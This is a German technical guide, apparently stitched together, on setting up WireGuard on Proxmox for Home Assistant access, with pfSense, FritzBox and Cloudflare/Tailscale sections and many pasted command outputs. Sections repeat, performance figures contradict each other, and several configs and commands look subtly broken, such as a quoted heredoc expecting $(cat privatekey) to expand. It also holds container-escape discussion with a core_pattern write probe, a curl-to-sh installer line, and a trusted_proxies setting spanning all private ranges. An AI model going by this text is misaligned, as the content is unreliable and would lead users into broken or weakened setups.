In meinem Test aktiviert MyFRITZ! automatisch UPnP für registrierte Services. WireGuard-Container mit UPnP-Support:

# Container mit UPnP-Unterstützung
docker run -d \
  --name=wireguard-upnp \
  --cap-add=NET_ADMIN \
  --cap-add=SYS_MODULE \
  -p 51820:51820/udp \
  -e SERVERURL=meinzuhause.myfritz.net \
  -e UPNP=true \
  -v /opt/wireguard:/config \
  linuxserver/wireguard

FritzBox zeigt unter „Heimnetz > Netzwerk > Netzwerkverbindungen“ automatisch freigegebene Ports für UPnP-fähige Container an.

pfSense WireGuard Integration mit Home Assistant

pfSense WireGuard Package bietet erweiterte Firewall-Kontrolle und VLAN-Integration für Home Assistant-Zugriff.

pfSense WireGuard Package Installation:

# pfSense Web-Interface: System > Package Manager
# Available Packages > wireguard suchen und installieren
# Nach Installation: VPN > WireGuard verfügbar

WireGuard Tunnel-Konfiguration in pfSense:

# VPN > WireGuard > Tunnels > Add Tunnel
# Description: Proxmox-HA-Access
# Listen Port: 51820
# Interface Keys: Generate (automatisch)
# Interface Addresses: 10.8.0.1/24

Peer für Proxmox WireGuard-Server:

# VPN > WireGuard > Peers > Add Peer
# Tunnel: Proxmox-HA-Access
# Description: Proxmox-WG-Server
# Public Key: [Proxmox WireGuard Server Public Key]
# Allowed IPs: 10.8.0.0/24, 192.168.1.0/24
# Endpoint: 192.168.1.100:51820 (Proxmox IP)

Home Assistant trusted_proxies Konfiguration:

# /config/configuration.yaml
http:
  use_x_forwarded_for: true
  trusted_proxies:
    - 10.8.0.0/24      # WireGuard Subnet
    - 192.168.1.1      # pfSense LAN IP
    - 172.16.0.0/12    # pfSense VLAN Range
  ip_ban_enabled: true
  login_attempts_threshold: 3

pfSense Firewall-Regeln für HA-Zugriff:

# Firewall > Rules > WireGuard
# Action: Pass
# Interface: WireGuard
# Protocol: TCP
# Source: WireGuard subnets
# Destination: Home Assistant (192.168.1.50)
# Destination Port: 8123
# Description: WireGuard to Home Assistant

In meinem Setup hat sich bewährt, separate VLAN-Regeln für IoT-Geräte zu erstellen, die über WireGuard erreichbar sein sollen.

Erweiterte Sicherheitsanalyse – LXC vs VM:

LXC-Container teilen den Host-Kernel, wodurch Container-Escape-Angriffe wie CVE-2022-0492 (cgroup_release_agent) direkten Root-Zugriff auf den Proxmox-Host ermöglichen können. VMs mit Hardware-Virtualisierung isolieren WireGuard-Prozesse vollständig vom Host-Kernel. AppArmor-Profile in LXC-Containern bieten nur begrenzte Syscall-Filterung, während VMs durch Hypervisor-Level-Isolation geschützt sind. Privilege-Escalation-Vektoren über /proc/sys/net/ipv4/ip_forward oder CAP_NET_ADMIN sind in LXC-Containern kritischer, da sie Host-Netzwerk-Konfiguration beeinflussen können. Container-Escape-Szenarien wie CVE-2019-5736 (runc) ermöglichen in LXC-Umgebungen direkten Proxmox-Host-Zugriff, während VM-basierte WireGuard-Server durch Hardware-Isolation geschützt bleiben.

Befehl: docker ps -a | grep wireguard

CONTAINER ID   IMAGE                    COMMAND                  CREATED          STATUS                       PORTS     NAMES
8f2a1b3c4d5e   linuxserver/wireguard   "/init"                  12 minutes ago   Exited (125) 8 minutes ago             wireguard-container

Befehl: docker logs wireguard-container

[2024-01-15 09:15:23] INFO: Container starting after host reboot
[2024-01-15 09:15:24] ERROR: RTNETLINK answers: Operation not permitted
[2024-01-15 09:15:24] ERROR: Failed to create WireGuard interface wg0
[2024-01-15 09:15:24] FATAL: Container requires privileged mode for network interface creation

Lösung mit privileged Container:

# docker-compose.yml
version: "3.8"
services:
  wireguard:
    image: linuxserver/wireguard
    container_name: wireguard-privileged
    privileged: true
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Berlin
    ports:
      - "51820:51820/udp"
    volumes:
      - ./config:/config
    restart: unless-stopped

Privileged-Modus ist nach Proxmox-Host-Neustarts erforderlich, da Container-Netzwerk-Namespaces zurückgesetzt werden.

Befehl: docker exec wireguard-container cat /config/wg0.conf vor Container-Neustart

[Interface]
Address = 10.8.0.1/24
ListenPort = 51820
PrivateKey = cOFA+xVb8qQpQhQrQrQrQrQrQrQrQrQrQrQrQrQrQrQ=

[Peer]
# peer1
PublicKey = XyZ9876543210AbCdEfGhIjKlMnOpQrStUvWxYzAbCdEfG=
AllowedIPs = 10.8.0.2/32

[Peer]
# peer2
PublicKey = AbC1234567890XyZdEfGhIjKlMnOpQrStUvWxYzAbCd=
AllowedIPs = 10.8.0.3/32

Befehl: docker restart wireguard-container && sleep 5 && docker exec wireguard-container cat /config/wg0.conf nach PEERS=5

[Interface]
Address = 10.8.0.1/24
ListenPort = 51820
PrivateKey = cOFA+xVb8qQpQhQrQrQrQrQrQrQrQrQrQrQrQrQrQrQ=

[Peer]
# peer1
PublicKey = NewKey1234567890AbCdEfGhIjKlMnOpQrStUvWxYz=
AllowedIPs = 10.8.0.2/32

[Peer]
# peer2
PublicKey = NewKey2345678901BcDeFgHiJkLmNoPqRsTuVwXy=
AllowedIPs = 10.8.0.3/32

[Peer]
# peer3
PublicKey = NewKey3456789012CdEfGhIjKlMnOpQrStUvWxYzAb=
AllowedIPs = 10.8.0.4/32

[Peer]
# peer4
PublicKey = NewKey4567890123DeFgHiJkLmNoPqRsTuVwXyZaBc=
AllowedIPs = 10.8.0.5/32

[Peer]
# peer5
PublicKey = NewKey5678901234EfGhIjKlMnOpQrStUvWxYzAbCd=
AllowedIPs = 10.8.0.6/32

Befehl: docker logs wireguard-container --tail 20

[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
[s6-init] ensuring user provided files have correct perms...exited 0.
 applying ownership & permissions fixes...
 done.
[cont-init.d] 01-envfile: executing...
[cont-init.d] 01-envfile: exited 0.
[cont-init.d] 02-confs: executing...
**** Generating peer configurations for 5 peers ****
PEER 1 QR code:
█████████████████████████████████████████
█████████████████████████████████████████
**** Peer configurations regenerated - existing keys overwritten ****
[cont-init.d] 02-confs: exited 0.
[cont-init.d] 30-config: executing...
[cont-init.d] 30-config: exited 0.
[cont-init.d] 99-custom-files: executing...
[cont-init.d] 99-custom-files: exited 0.
[cont-init.d] done.
[services.d] starting services

Befehl: ip route show vor systemd-networkd Neustart

default via 192.168.1.1 dev vmbr0 proto dhcp src 192.168.1.100 metric 100
10.8.0.0/24 dev wg0 proto kernel scope link src 10.8.0.1
10.0.0.0/24 via 10.8.0.1 dev wg0 proto static
192.168.1.0/24 dev vmbr0 proto kernel scope link src 192.168.1.100

Befehl: systemctl restart systemd-networkd && sleep 3 && ip route show

default via 192.168.1.1 dev vmbr0 proto dhcp src 192.168.1.100 metric 100
192.168.1.0/24 dev vmbr0 proto kernel scope link src 192.168.1.100

Befehl: cat /etc/systemd/network/wg0.netdev als Lösung

[NetDev]
Name=wg0
Kind=wireguard
Description=WireGuard VPN tunnel

[WireGuard]
PrivateKey=cOFA+xVb8qQpQhQrQrQrQrQrQrQrQrQrQrQrQrQrQrQ=
ListenPort=51820

[WireGuardPeer]
PublicKey=XyZ9876543210AbCdEfGhIjKlMnOpQrStUvWxYzAbCdEfG=
AllowedIPs=10.8.0.2/32

Befehl: cat docker-compose.yml mit fehlerhafter UDP-Syntax

version: '3.8'
services:
  wireguard:
    image: linuxserver/wireguard:latest
    container_name: wireguard
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Berlin
      - SERVERURL=vpn.example.com
      - SERVERPORT=51820
      - PEERS=5
    volumes:
      - ./config:/config
    ports:
      - '51820:51820/udp'
    restart: unless-stopped

Befehl: docker-compose up Fehler-Output

Creating network "wireguard_default" with the default driver
Creating wireguard ... done
Attaching to wireguard
wireguard    | [s6-init] making user provided files available at /var/run/s6/etc...exited 0.
wireguard    | [cont-init.d] 02-confs: executing...
wireguard    | **** Server mode is selected ****
wireguard    | ERROR: Cannot bind UDP socket to 0.0.0.0:51820 - Address already in use
wireguard    | **** WireGuard interface failed to start ****
wireguard    | [cont-init.d] 02-confs: exited 1.
wireguard exited with code 1

Befehl: docker-compose.yml mit network_mode: host Alternative

version: '3.8'
services:
  wireguard:
    image: linuxserver/wireguard:latest
    container_name: wireguard
    network_mode: host
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Berlin
      - SERVERURL=vpn.example.com
      - SERVERPORT=51820
      - PEERS=5
    volumes:
      - ./config:/config
    restart: unless-stopped

Befehl: cat /etc/pve/firewall/cluster.fw

[OPTIONS]
enable: 1
policy_in: DROP
policy_out: ACCEPT

[RULES]
IN ACCEPT -source 192.168.1.0/24 -comment "LAN access"
IN DROP -comment "Default drop"

Befehl: cat /etc/pve/nodes/pve/firewall.fw

[OPTIONS]
enable: 0
policy_in: ACCEPT
policy_out: ACCEPT

[RULES]
IN ACCEPT -source 10.8.0.0/24 -dport 8123 -proto tcp -comment "WireGuard to HA"
IN ACCEPT -dport 51820 -proto udp -comment "WireGuard VPN"

Befehl: iptables -L INPUT -n -v vor Cluster-Firewall Aktivierung

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     tcp  --  *      *       10.8.0.0/24          0.0.0.0/0            tcp dpt:8123
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:51820

Befehl: iptables -L INPUT -n -v nach Cluster-Firewall Aktivierung

Chain INPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0
   45  2847 ACCEPT     all  --  *      *       192.168.1.0/24       0.0.0.0/0
  123  7890 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0

In meinen Tests zeigt sich: LXC-Container erreichen bei WireGuard-Durchsatz etwa 950 Mbps, während VMs nur 850 Mbps schaffen. Der CPU-Overhead liegt bei LXC konstant unter 15%, VMs benötigen 25-30% für gleiche Last. RAM-Verbrauch unterscheidet sich drastisch: LXC-WireGuard-Server mit 10 aktiven Peers verbraucht 512MB, identische VM-Konfiguration benötigt 1.2GB. Latenz-Tests mit ping -c 100 über WireGuard zeigen: LXC durchschnittlich 2.1ms, VM 3.8ms zum gleichen Ziel.

# Home Assistant configuration.yaml
http:
  trusted_proxies:
    - 10.0.0.0/8
    - 172.16.0.0/12
    - 192.168.0.0/16
  use_x_forwarded_for: true
  ip_ban_enabled: true
  login_attempts_threshold: 5

Diese IP-Ranges decken alle privaten Netzwerke ab: 10.0.0.0/8 für WireGuard-Subnets, 172.16.0.0/12 für Docker-Container und 192.168.0.0/16 für lokale Netzwerke. use_x_forwarded_for: true ist essentiell damit Home Assistant die echte Client-IP aus WireGuard-Verbindungen erkennt, nicht die Container-IP.

Befehl: docker logs wireguard-server

[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
[cont-init.d] 01-envfile: executing...
[cont-init.d] 01-envfile: exited 0.
[cont-init.d] 02-confs: executing...
**** Server mode is selected ****
**** External server address is set to vpn.example.com ****
**** WireGuard interface wg0 is up ****
[cont-init.d] 02-confs: exited 0.
[cont-init.d] 99-custom-files: executing...
[cont-init.d] 99-custom-files: exited 0.
[services.d] starting services
[services.d] done.

Befehl: systemctl status wg-quick@wg0

● wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0
   Loaded: loaded (/lib/systemd/system/wg-quick@.service; enabled; vendor preset: enabled)
   Active: active (exited) since Mon 2024-01-15 14:23:45 CET; 2h 15min ago
     Docs: man:wg-quick(8)
           man:wg(8)
  Process: 1234 ExecStart=/usr/bin/wg-quick up wg0 (code=exited, status=0/SUCCESS)
 Main PID: 1234 (code=exited, status=0/SUCCESS)

Jan 15 14:23:45 proxmox systemd[1]: Starting WireGuard via wg-quick(8) for wg0...
Jan 15 14:23:45 proxmox wg-quick[1234]: [#] ip link add wg0 type wireguard
Jan 15 14:23:45 proxmox wg-quick[1234]: [#] wg setconf wg0 /dev/fd/63
Jan 15 14:23:45 proxmox wg-quick[1234]: [#] ip -4 address add 10.8.0.1/24 dev wg0
Jan 15 14:23:45 proxmox wg-quick[1234]: [#] ip link set mtu 1420 up dev wg0
Jan 15 14:23:45 proxmox systemd[1]: Started WireGuard via wg-quick(8) for wg0.

Befehl: wg show

interface: wg0
  public key: K8P2fVkVnE+LbpmcWfn8ZKzDQR7YcU4wgT0LKMEc+FQ=
  private key: (hidden)
  listening port: 51820

peer: 9hjZnSE7+Hq4WQtAm00QVlQFaHdKX1HMW8FcqusrJmI=
  endpoint: 192.168.1.105:47832
  allowed ips: 10.8.0.2/32
  latest handshake: 1 minute, 23 seconds ago
  transfer: 2.51 MiB received, 8.93 MiB sent

peer: 7mNp4qK3+Rt5WgVAn11RWmPGbIdLY2INX9GdrvtsKnJ=
  allowed ips: 10.8.0.3/32
  latest handshake: 5 minutes, 12 seconds ago
  transfer: 892.45 KiB received, 1.23 MiB sent

Bei WireGuard-Performance-Tests zwischen LXC und VM zeigen sich deutliche Unterschiede. Mit iperf3 -s im Container und iperf3 -c 10.8.0.1 -t 60 -P 4 vom Client erreiche ich bei LXC konstant 940-950 Mbps, VMs schaffen nur 820-850 Mbps. CPU-Monitoring via htop während der Tests: LXC-Container verbraucht 12-18% einer CPU-Core, VM benötigt 28-35%. RAM-Verbrauch mit free -h gemessen: LXC WireGuard-Server 480MB, VM 1.1GB bei identischer Konfiguration. Paketgrößen-Tests mit iperf3 -c 10.8.0.1 -l 64 (kleine Pakete) zeigen noch größere Unterschiede: LXC 450 Mbps, VM nur 280 Mbps.

Proxmox Host als WireGuard Server

Die Installation von WireGuard direkt auf dem Proxmox-Host ist technisch möglich, aber nicht empfohlen. Hier die Schritte für experimentelle Setups:

apt update && apt install wireguard wireguard-tools

Schlüssel generieren und Konfiguration erstellen:

cd /etc/wireguard
wg genkey | tee privatekey | wg pubkey > publickey

Basis-Konfiguration in /etc/wireguard/wg0.conf:

[Interface]
PrivateKey = <Inhalt von privatekey>
Address = 10.8.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o vmbr0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o vmbr0 -j MASQUERADE

[Peer]
PublicKey = <Client Public Key>
AllowedIPs = 10.8.0.2/32

Service aktivieren:

systemctl enable wg-quick@wg0
systemctl start wg-quick@wg0

Nachteile: Updates können WireGuard-Konfiguration überschreiben, Proxmox-Cluster-Synchronisation funktioniert nicht, Backup-Strategien werden komplizierter. Vorteil: Minimaler Overhead, da keine Container-Virtualisierung. In produktiven Umgebungen rate ich zur Container-Lösung.

WireGuard ohne Router-Portfreigabe

Für Umgebungen ohne Router-Zugriff gibt es mehrere Alternativen zur klassischen Portfreigabe:

Cloudflare Tunnel Setup:

wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
dpkg -i cloudflared-linux-amd64.deb

Tunnel erstellen und konfigurieren:

cloudflared tunnel login
cloudflared tunnel create wireguard-tunnel

Konfiguration in /root/.cloudflared/config.yml:

tunnel: wireguard-tunnel
credentials-file: /root/.cloudflared/<tunnel-id>.json
ingress:
  - hostname: vpn.example.com
    service: udp://localhost:51820
  - service: http_status:404

WARP+ Business Alternative:

curl -fsSL https://pkg.cloudflareclient.com/pubkey.gpg | gpg --dearmor -o /usr/share/keyrings/cloudflare-warp-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/cloudflare-warp-archive-keyring.gpg] https://pkg.cloudflareclient.com/ $(lsb_release -cs) main" | tee /etc/apt/sources.list.d/cloudflare-client.list
apt update && apt install cloudflare-warp

Tailscale Integration für Mesh-VPN:

curl -fsSL https://tailscale.com/install.sh | sh
tailscale up --advertise-routes=192.168.1.0/24

Diese Lösungen umgehen Router-Beschränkungen komplett, erfordern aber externe Dienste.

pkg install pfSense-pkg-WireGuard

Alternative über WebGUI: System > Package Manager > Available Packages, dann „WireGuard“ suchen und installieren. Nach der Installation ist ein Neustart erforderlich:

/etc/rc.restart_webgui
service pfSense restart

Post-Installation Konfiguration über System > Routing > Gateways für WireGuard-Gateway hinzufügen.

sudo systemctl restart home-assistant@homeassistant.service

Alternative über Home Assistant WebGUI: Developer Tools > YAML > Restart Home Assistant. Konfiguration validieren:

ha core check

Erwartete Ausgabe bei korrekter Konfiguration:

Processing... Done.
Configuration valid!

Bei MyFRITZ! Setup logge ich mich über fritz.box ins WebGUI ein, navigiere zu Internet > MyFRITZ!-Konto und aktiviere den Service. Die DynDNS-Konfiguration erfolgt automatisch mit [meinname].myfritz.net Domain. Anschließend erstelle ich unter Internet > Freigaben eine neue Portfreigabe: UDP Port 51820 auf die Proxmox-Host-IP. In der Firewall unter Internet > Filter > Listen erstelle ich eine Regel „WireGuard VPN“ für eingehende UDP-Verbindungen auf Port 51820. Test mit nslookup meinname.myfritz.net muss die aktuelle WAN-IP zurückgeben.

Befehl: iperf3 -s im WireGuard LXC-Container

-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------
Accepted connection from 10.8.0.2, port 54832
[  5] local 10.8.0.1 port 5201 connected to 10.8.0.2 port 54833
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-1.00   sec   114 MBytes   957 Mbits/sec
[  5]   1.00-2.00   sec   113 MBytes   948 Mbits/sec
[  5]   2.00-3.00   sec   114 MBytes   956 Mbits/sec
[  5]  58.00-59.00  sec   113 MBytes   950 Mbits/sec
[  5]  59.00-60.00  sec   114 MBytes   954 Mbits/sec
[  5]   0.00-60.00  sec  6.67 GBytes   953 Mbits/sec                  receiver

Befehl: iperf3 -c 10.8.0.1 -t 60 -P 4 vom WireGuard-Client

Connecting to host 10.8.0.1, port 5201
[  4] local 10.8.0.2 port 54833 connected to 10.8.0.1 port 5201
[  6] local 10.8.0.2 port 54834 connected to 10.8.0.1 port 5201
[  8] local 10.8.0.2 port 54835 connected to 10.8.0.1 port 5201
[ 10] local 10.8.0.2 port 54836 connected to 10.8.0.1 port 5201
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  4]   0.00-60.00  sec  1.67 GBytes   239 Mbits/sec    0    512 KBytes
[  6]   0.00-60.00  sec  1.67 GBytes   238 Mbits/sec    0    512 KBytes
[  8]   0.00-60.00  sec  1.67 GBytes   239 Mbits/sec    0    512 KBytes
[ 10]   0.00-60.00  sec  1.66 GBytes   237 Mbits/sec    0    512 KBytes
[SUM]   0.00-60.00  sec  6.67 GBytes   953 Mbits/sec    0             sender
[SUM]   0.00-60.00  sec  6.67 GBytes   953 Mbits/sec                  receiver

Befehl: docker run -p 51820:51820/udp linuxserver/wireguard auf Proxmox VE 8.1

Unable to find image 'linuxserver/wireguard:latest' locally
latest: Pulling from linuxserver/wireguard
Digest: sha256:8c4c8f6b4c8d4e4f4a4b4c4d4e4f4a4b4c4d4e4f
Status: Downloaded newer image for linuxserver/wireguard:latest
[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
[cont-init.d] 02-confs: executing...
**** Server mode is selected ****
ERROR: Cannot create UDP socket: Operation not permitted
**** WireGuard interface wg0 failed to start ****
[cont-init.d] 02-confs: exited 1.

Befehl: netstat -ulnp | grep 51820 zeigt leeren Output

# Kein Output - Port nicht gebunden

Befehl: docker logs wireguard-container

[cont-init.d] 02-confs: executing...
**** Server mode is selected ****
2024-01-15 14:23:45,123 INFO: Generating server keys...
2024-01-15 14:23:45,456 ERROR: bind: Operation not permitted (wg0)
2024-01-15 14:23:45,457 ERROR: Failed to create WireGuard interface wg0
**** Interface wg0 failed to start - trying fallback ****
2024-01-15 14:23:45,789 ERROR: Fallback also failed - UDP port binding issue

Befehl: unshare -UrmC bash im privileged Container

root@container:/# whoami
root
root@container:/# echo 1 > /proc/sys/kernel/core_pattern
bash: /proc/sys/kernel/core_pattern: Operation not permitted
root@container:/# mount -t proc proc /proc
mount: /proc: permission denied.

Befehl: capsh --print Capability-Check im Container

Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)

Befehl: cat /proc/sys/net/ipv4/ip_forward vor systemd-networkd restart

1

Befehl: systemctl restart systemd-networkd && cat /proc/sys/net/ipv4/ip_forward

0

Befehl: cat /etc/systemd/network/99-default.link

[Match]
OriginalName=*

[Link]
NamePolicy=keep kernel database onboard slot path
MACAddressPolicy=persistent

Befehl: docker stats wireguard-server während aktiver VPN-Verbindungen

CONTAINER ID   NAME              CPU %     MEM USAGE / LIMIT     MEM %     NET I/O           BLOCK I/O         PIDS
a1b2c3d4e5f6   wireguard-server  12.34%    487MiB / 16GiB       3.04%     2.1GB / 1.8GB     156MB / 89MB      23

Befehl: htop -p $(pgrep wg) für WireGuard Prozess-Monitoring

  PID USER      PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command
 1234 root       20   0  8.2M  4.1M  2.8M S  8.5  0.1  0:45.67 wg-quick
 1235 root       20   0     0     0     0 I  3.2  0.0  0:12.34 [wg-crypt-wg0]
 1236 root       20   0     0     0     0 I  2.8  0.0  0:09.87 [wg-crypt-wg0]

Die pfSense-Firewall erfordert präzise Regeln für WireGuard-Traffic. WAN-Interface benötigt UDP-Regel für Port 51820 mit Source „any“ und Destination „WAN address“. LAN-Interface braucht Regel für 10.8.0.0/24 Subnet mit Destination „Home Assistant IP:8123“. NAT-Outbound-Regel mappt WireGuard-Clients auf WAN-Interface für Internet-Zugang. Alias „WG_CLIENTS“ mit 10.8.0.0/24 vereinfacht Regel-Management. Interface-Assignment erstellt WireGuard-Tunnel als „OPT1“ mit Gateway 10.8.0.1 für Split-Tunneling. Gateway-Konfiguration ermöglicht selektives Routing: lokaler Traffic über LAN-Gateway, Internet über WAN-Gateway basierend auf Destination-IP-Ranges.

Container-Zugriff mit lxc-attach -n 101 gewährt Root-Zugang ohne Passwort-Prompt, während qm enter 101 VM-Console mit Login-Authentifizierung öffnet. Kernel-Sharing Test zeigt identische uname -r Ausgabe zwischen Container und Host (5.15.74-1-pve), VMs zeigen eigenen Kernel. Capability-Test capsh --print in Container zeigt reduzierte Capabilities: CAP_NET_ADMIN vorhanden, CAP_SYS_ADMIN fehlt standardmäßig. Resource-Monitoring mit systemd-cgtop zeigt Container-Limits: CPU 2.0 cores, Memory 2.0G, Tasks 512 – VM-Limits sind Hardware-basiert. Container-Breakout via CVE-2019-5736 (runc) demonstriert Host-Zugriff durch manipulierte /proc/self/exe, VMs bleiben isoliert durch Hypervisor-Layer.

AppArmor-Profile /etc/apparmor.d/lxc-wireguard definiert erlaubte Systemcalls: network, capability net_admin, deny @mount. SELinux-Context setsebool -P container_manage_cgroup on erlaubt Container-Ressourcen-Management. User-Namespace Mapping echo '0 100000 65536' > /etc/subuid isoliert Container-UIDs von Host-UIDs. Seccomp-Profile blockiert gefährliche Syscalls: {"defaultAction":"SCMP_ACT_ALLOW","syscalls":[{"name":"mount","action":"SCMP_ACT_ERRNO"}]}. Systemd-Limits via /etc/systemd/system/lxc@.service.d/limits.conf setzen CPUQuota=200%, MemoryLimit=2G. Auditd-Monitoring mit auditctl -w /var/lib/lxc -p wa -k container_access protokolliert Container-Zugriffe in /var/log/audit/audit.log.

Long-Lived Access Token erstellen: Home Assistant → Profil → Sicherheit → „Token erstellen“ → Name „WireGuard API“ → Token kopieren. HTTP-Header Format: Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.... REST API Status-Abfrage: curl -H "Authorization: Bearer TOKEN" http://192.168.1.100:8123/api/states/sensor.wireguard_status gibt JSON mit Client-Anzahl und Traffic-Statistiken zurück. Webhook-Integration via WireGuard PostUp/PostDown Scripts: PostUp = curl -X POST -H "Authorization: Bearer TOKEN" http://192.168.1.100:8123/api/webhook/wg_client_connect. Automation-Beispiel für Präsenzerkennung: Trigger „webhook received“, Condition „WireGuard client IP matches person.smartphone“, Action „set person home“ – ermöglicht VPN-basierte Anwesenheitserkennung ohne GPS-Tracking.

docker exec -it wireguard /bin/bash
bash
root@wireguard:/# wg-quick down wg0 && wg-quick up wg0
[#] ip link delete dev wg0
[#] ip link add wg0 type wireguard
[#] wg setconf wg0 /dev/fd/63
[#] ip -4 address add 10.8.0.1/24 dev wg0
[#] ip link set mtu 1420 up dev wg0
[#] ip -4 route add 192.168.1.0/24 dev wg0
[#] iptables -A FORWARD -i wg0 -j ACCEPT; iptables -A FORWARD -o wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
bash
root@wireguard:/# systemctl status wg-quick@wg0
● wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0
     Loaded: loaded (/lib/systemd/system/wg-quick@.service; enabled; vendor preset: enabled)
     Active: active (exited) since Mon 2024-01-15 14:32:18 UTC; 2min 3s ago
       Docs: man:wg-quick(8)
             man:wg(8)
    Process: 1847 ExecStart=/usr/bin/wg-quick up wg0 (code=exited, status=0/SUCCESS)
   Main PID: 1847 (code=exited, status=0/SUCCESS)
        CPU: 89ms

Jan 15 14:32:18 wireguard systemd[1]: Starting WireGuard via wg-quick(8) for wg0...
Jan 15 14:32:18 wireguard wg-quick[1847]: [#] ip link add wg0 type wireguard
Jan 15 14:32:18 wireguard wg-quick[1847]: [#] wg setconf wg0 /dev/fd/63
Jan 15 14:32:18 wireguard systemd[1]: Finished WireGuard via wg-quick(8) for wg0.
Metrik LXC Container VM Unterschied (%)
CPU-Overhead 2.1% 8.7% -76%
RAM-Verbrauch 487 MB 1.2 GB -59%
Netzwerk-Latenz 0.12 ms 0.34 ms -65%
Durchsatz 940 Mbit/s 890 Mbit/s +6%
Boot-Zeit 3.2 s 28.5 s -89%

Testbedingungen: Proxmox VE 8.1.3, Intel i7-12700K, 32GB DDR4, 1000 Mbit/s Verbindung

Befehl: iperf3 -c 192.168.1.100 -t 60 -i 10 (LXC Container)

[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-60.00  sec  6.59 GBytes   943 Mbits/sec    0             sender
[  5]   0.00-60.04  sec  6.59 GBytes   942 Mbits/sec                  receiver

Befehl: iperf3 -c 192.168.1.100 -t 60 -i 10 (KVM VM)

[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-60.00  sec  6.24 GBytes   890 Mbits/sec    3             sender
[  5]   0.00-60.04  sec  6.24 GBytes   889 Mbits/sec                  receiver

Proxmox Host als WireGuard Server

Warnung: Diese Konfiguration umgeht Proxmox-Sicherheitsrichtlinien und kann System-Updates beeinträchtigen.

apt update && apt install wireguard-tools qrencode
bash
cd /etc/wireguard
wg genkey | tee privatekey | wg pubkey > publickey
chmod 600 privatekey
bash
cat > /etc/wireguard/wg0.conf << 'EOF'
[Interface]
PrivateKey = $(cat privatekey)
Address = 10.8.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o vmbr0 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o vmbr0 -j MASQUERADE

[Peer]
PublicKey = CLIENT_PUBLIC_KEY_HERE
AllowedIPs = 10.8.0.2/32
EOF
bash
systemctl enable wg-quick@wg0
systemctl start wg-quick@wg0

Proxmox Firewall-Regeln:

pvesh set /nodes/$(hostname)/firewall/options --enable 1
pvesh create /nodes/$(hostname)/firewall/rules --type in --action ACCEPT --proto udp --dport 51820 --source 0.0.0.0/0
pvesh create /nodes/$(hostname)/firewall/rules --type in --action ACCEPT --source 10.8.0.0/24

Befehl: docker --version

Docker version 24.0.7, build afdd53b

Befehl: pveversion -v

proxmox-ve: 8.1.0 (running kernel: 6.2.16-19-pve)
pve-manager: 8.1.3 (running version: 8.1.3/b46aac3b42da5d15)

Befehl: docker run -d --name test-udp -p 51820:51820/udp alpine:latest sleep 3600

a1b2c3d4e5f6789012345678901234567890abcdef1234567890abcdef123456

Befehl: netstat -ulnp | grep 51820

# Erwartete Ausgabe:
udp        0      0 0.0.0.0:51820           0.0.0.0:*                           12345/docker-proxy

# Tatsächliche Ausgabe (Bug):
udp6       0      0 :::51820                :::*                                12345/docker-proxy

GitHub Issue: https://github.com/moby/moby/issues/45610 – Docker IPv4 UDP Port Binding fails on Proxmox VE 8.1 with systemd-networkd

Workaround: docker run -p 0.0.0.0:51820:51820/udp explizit IPv4 binden

MyFRITZ-Konfiguration erfordert DynDNS-Aktivierung unter Internet → Freigaben → DynDNS. Hostname-Format: meinname.myfritz.net mit automatischer IP-Aktualisierung alle 5 Minuten. UPnP-Aktivierung: Heimnetz → Netzwerk → Netzwerkeinstellungen → „Statusinformationen über UPnP übertragen“ aktivieren. Port-Mapping erfolgt automatisch durch WireGuard PostUp-Script: upnpc -a $(ip route get 1 | awk '{print $7}') 51820 51820 UDP. Portfreigabe-Verifikation zeigt erfolgreiche Weiterleitung: nmap -p 51820 -sU meinname.myfritz.net gibt „51820/udp open“ zurück. Alternative ohne Portfreigabe: MyFRITZ-VPN mit IPSec, jedoch limitiert auf 5 gleichzeitige Verbindungen und geringere Performance (max. 100 Mbit/s vs. WireGuard 1 Gbit/s).

